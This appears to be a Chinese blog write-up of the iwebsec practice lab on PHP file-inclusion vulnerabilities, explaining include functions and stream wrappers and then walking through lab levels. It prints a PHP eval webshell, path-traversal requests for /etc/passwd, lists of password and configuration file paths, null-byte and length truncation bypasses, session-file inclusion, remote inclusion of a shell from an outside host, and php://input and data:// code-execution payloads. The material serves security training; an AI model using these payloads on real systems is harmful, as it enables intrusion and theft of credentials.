iwebsec靶场(文件包含)

iwebsec靶场(文件包含)

一、什么是文件包含漏洞

1.为什么包含文件
  • 包含内容:包含页头、页脚
  • 包含函数:公共函数
  • 减少重复代码,便于维护
2.问题
  • 可能导致允许访问敏感文件或者执行恶意代码,造成漏洞
3.分类
  • 本地文件包含(Local file Inclusion)

    • 固定包含:

      fileinc/footer.php
      fileinc/main.php

    • 通过接口动态包含:

      http://localhost/fileinc/include.php?file=footer.php

      <?php
        echo "<p>copyright © 2021-" . date("Y") . " wpc </p>";
      ?>
      
    • 包含恶意代码或图片马:

      http://localhost/fileinc/include.php?file=shell.php

      <?php @eval($_POST['wpc']);?>
      
    • 包含敏感文件:

      http://localhost/fileinc/include.php?file=C:\Windows\system.ini

  • 远程文件包含(Remote file inclusion)

    • 配置

      allow_url_fopen=no

      allow_url_include=no

    • 访问

      http://localhost/fileinc/include.php?file=http://远程IP/1.txt
      http://localhost/fileinc/include.php?file=http://远程IP/alert.html
      http://localhost/fileinc/include.php?file=http://远程IP/shell.php

二、PHP相关函数和伪协议

1.函数(https://www.php.net/manual/zh/)
  • include()

    包含并运行指定文件

  • include_once()

    在脚本执行期间包含并运行指定文件。此行为和 include语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含,且 include_once 会返回 true。 require_once,文件仅仅包含(require)一次

  • require()

    require 和 include 几乎完全一样,除了处理失败的方式不同之外。require 在出错时产生 E_COMPILE_ERROR级别的错误。换句话说将导致脚本中止而 include只产生警告(E_WARNING),脚本会继续运行

  • require_once()

    require_once 表达式和 require表达式完全相同,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含

  • fopen()

    打开文件或者 URL

  • readfile()

    输出文件

  • highlight_file

    语法高亮一个文件

  • show_source

    别名 highlight_file()

  • file_get_contents

    将整个文件读入一个字符串

  • file

    把整个文件读入一个数组中

2、伪协议
  • file://

    访问本地文件系统

  • http://

    访问HTTP(S)网址

  • ftp://

    访问FTP(S)URLs

  • php://

    访问各个输入/输出流(I/O streams)

  • zlib://

    压缩流

  • data://

    数据流

  • glob://

    查找匹配的文件路径模式

  • phar://

    PHP归档

  • ssh2://

    Secure Shell2

  • rar://

    RAR

  • ogg://

    音频流

  • expect://

    处理交互式的流

三、靶场地址:http://iwebsec.com/

四、本地文件包含

1.访问本地敏感文件
/fi/01.php?filename=../../../../etc/passwd

请添加图片描述

2.敏感文件默认路径
Linux/Unix系统:
    /etc/passwd // 账户信息
    /etc/shadow // 账户密码文件
    /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
    /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
    /usr/local/app/php5/lib/php.ini // PHP相关配置
    /etc/httpd/conf/httpd.conf // Apache配置文件
    /etc/my.conf // mysql 配置文件


Windows系统:
    c:\boot.ini // 查看系统版本
    c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
    c:\windows\repair\sam // 存储Windows系统初次安装的密码
    c:\ProgramFiles\mysql\my.ini // MySQL配置
    c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
    c:\windows\php.ini // php 配置信息

五、本地文件包含绕过

1.关键字被过滤
  • /被后台过滤

    /fi/02.php?filename=../../../etc/passwd
    

    请添加图片描述

2.绕过
  • 方法一:%00截断

    条件:magic_quotes_gpc = Off;php版本<5.3.4

    /fi/02.php?filename=../../../../etc/passwd%00
    

    请添加图片描述

  • 方法二:长度截断

    条件:windows系统;php版本 < php 5.2

    Windows上的文件名长度和文件路径有关。具体关系为:从根目录计算,文件路径长度最长为259个bytes。

    msdn定义 #define MAX_PATH 260,其中第260个字符为字符串结尾的 \0 ,而linux可以用getconf来判断文件名长度限制和文件路径长度限制。

    获取最长文件路径长度:getconf PATH_MAX /root 得到4096 获取最长文件名:getconf NAME_MAX /root 得到255

    那么在长度有限的时候,././././ (n个) 的形式就可以通过这个把路径爆掉

六、session本地文件包含

1.session的工作原理

(1)首先使用session_start()函数进行初始换。

(2)当执行PHP脚本时,通过使用SESSION超全局变量注册session变量。

(3)当PHP脚本执行结束时,未被销毁的session变量会被自动保存在本地一定路径下的session库中,这个路径可以通过php.ini文件中的session.savepath指定,下次浏览网页时可以加载使用。

2.session_start()简介

(1)读取名为PHPSESSID(如果没有改变默认值)的cookie值,假使为abc123。

(2)若读取到PHPSESSID这个COOKIE,创建SESSION变量,并从相应的目录中(可以在php.ini中设置)读取SESSabc123(默认是这种命名方式)文件,将字符装在入SESSION变量中;

(3)若没有读取到PHPSESSID这个COOKIE,也会创建SESSION超全局变量注册session变量。同时创建一个sess_abc321(名称为随机值)的session文件,同时将abc321作为PHPSESSID的cookie值返回给浏览器端。

3.利用条件

当Session文件的内容可控,并且可以获取Session文件的路径,就可以通过包含Session文件进行攻击。

Session的存储位置获取:一般是通过以下两种方式。

(1)通过phpinfo的信息可以获取到Session的存储位置。phpinfo中的session.save_path存储的是Session的存放位置。通过phpinfo的信息获取到session.save_path为/var/lib/php/session

请添加图片描述

(2)通过猜测默认的Session存放位置进行尝试。通常Linux下Session默认存储在/var/lib/php/session目录下。默认存储Session存放位置。

4.利用
  • 访问/fi/03.php?iwebsec=iwebsec发现返回页面如下,证明等号后边的参数值被写入到SESSION[“username”]中

    请添加图片描述

  • 尝试写入PHP代码,发现返回值为空,证明代码被执行

    /fi/03.php?iwebsec=<? phpphpinfo(); ?>
    

    请添加图片描述

  • 按F12点击network(网络)然后刷新页面,找到Cookie中的PHPSESSID值,文件的命名规则是sess_PHPSESSID

    请添加图片描述

  • 现在已知文件的内容、路径和名称,再结合前面两关的漏洞,进行漏洞利用

    PHPSESSID=5cehc94cs8f51707o6pujlegq1
    
    /fi/01.php?filename=../../../../var/lib/php/session/sess_5cehc94cs8f51707o6pujlegq1
    

七、远程文件包含

1.利用条件
  • 需要把PHP的配置文件从allow_url_fopen和allow_url_include设置为ON
2.利用
  • 先在本地编写phpinfo,上传到自己的网站上,地址:http://www.xxx.com/phpinfo.html,然后构造为

    /04.php?filename=http://www.xxx.com/phpinfo.html
    

八、远程文件包含绕过

  • 同五本地文件包含绕过

九、php://filter伪协议

1.php://filter介绍:
  • php伪协议的一种,设计用来过滤筛选文件

  • 非php语法文件include失败直接输出源码,php语法文件include成功,直接执行php代码

  • 如非想直接读取php语法文件可以先base64编码,再传入include函数,这样就不会被认为是php语法文件,输出的base64编码,解码即可

2.利用
  • /fi/06.php?filename=/etc/passwd
    

    请添加图片描述

十、php://input伪协议

1.php://input介绍
  • php://input是一个只读信息流
  • 当请求方式是post的,并且enctype不等于”multipart/form-data”时,可以使用php://input来获取原始请求的数据
2.利用(iwebsec第七关和第八关相同)
  • 使用GET请求访问
/fi/08.php?filename=php://input
  • 使用POST写入代码
<?php phpinfo();?>

请添加图片描述

十一、file://伪协议利用

1.file://伪协议介绍
  • 用于访问本地文件系统,并且不受allow_url_fopen,allow_url_include影响
  • file://协议主要用于访问文件(绝对路径、相对路径以及网络路径)
2.利用
  • /fi/09.php?filename=file:///etc/passwd
    

    请添加图片描述

十二、data://伪协议利用

1.data://伪协议介绍
  • 数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。
  • 需要 allow_url_include:On allow_url_fopen:On
2.利用
  • /fi/10.php?filename=data://text/plain,<?php%20phpinfo();?>
    

    请添加图片描述

  • 5
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

果粒程1122

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值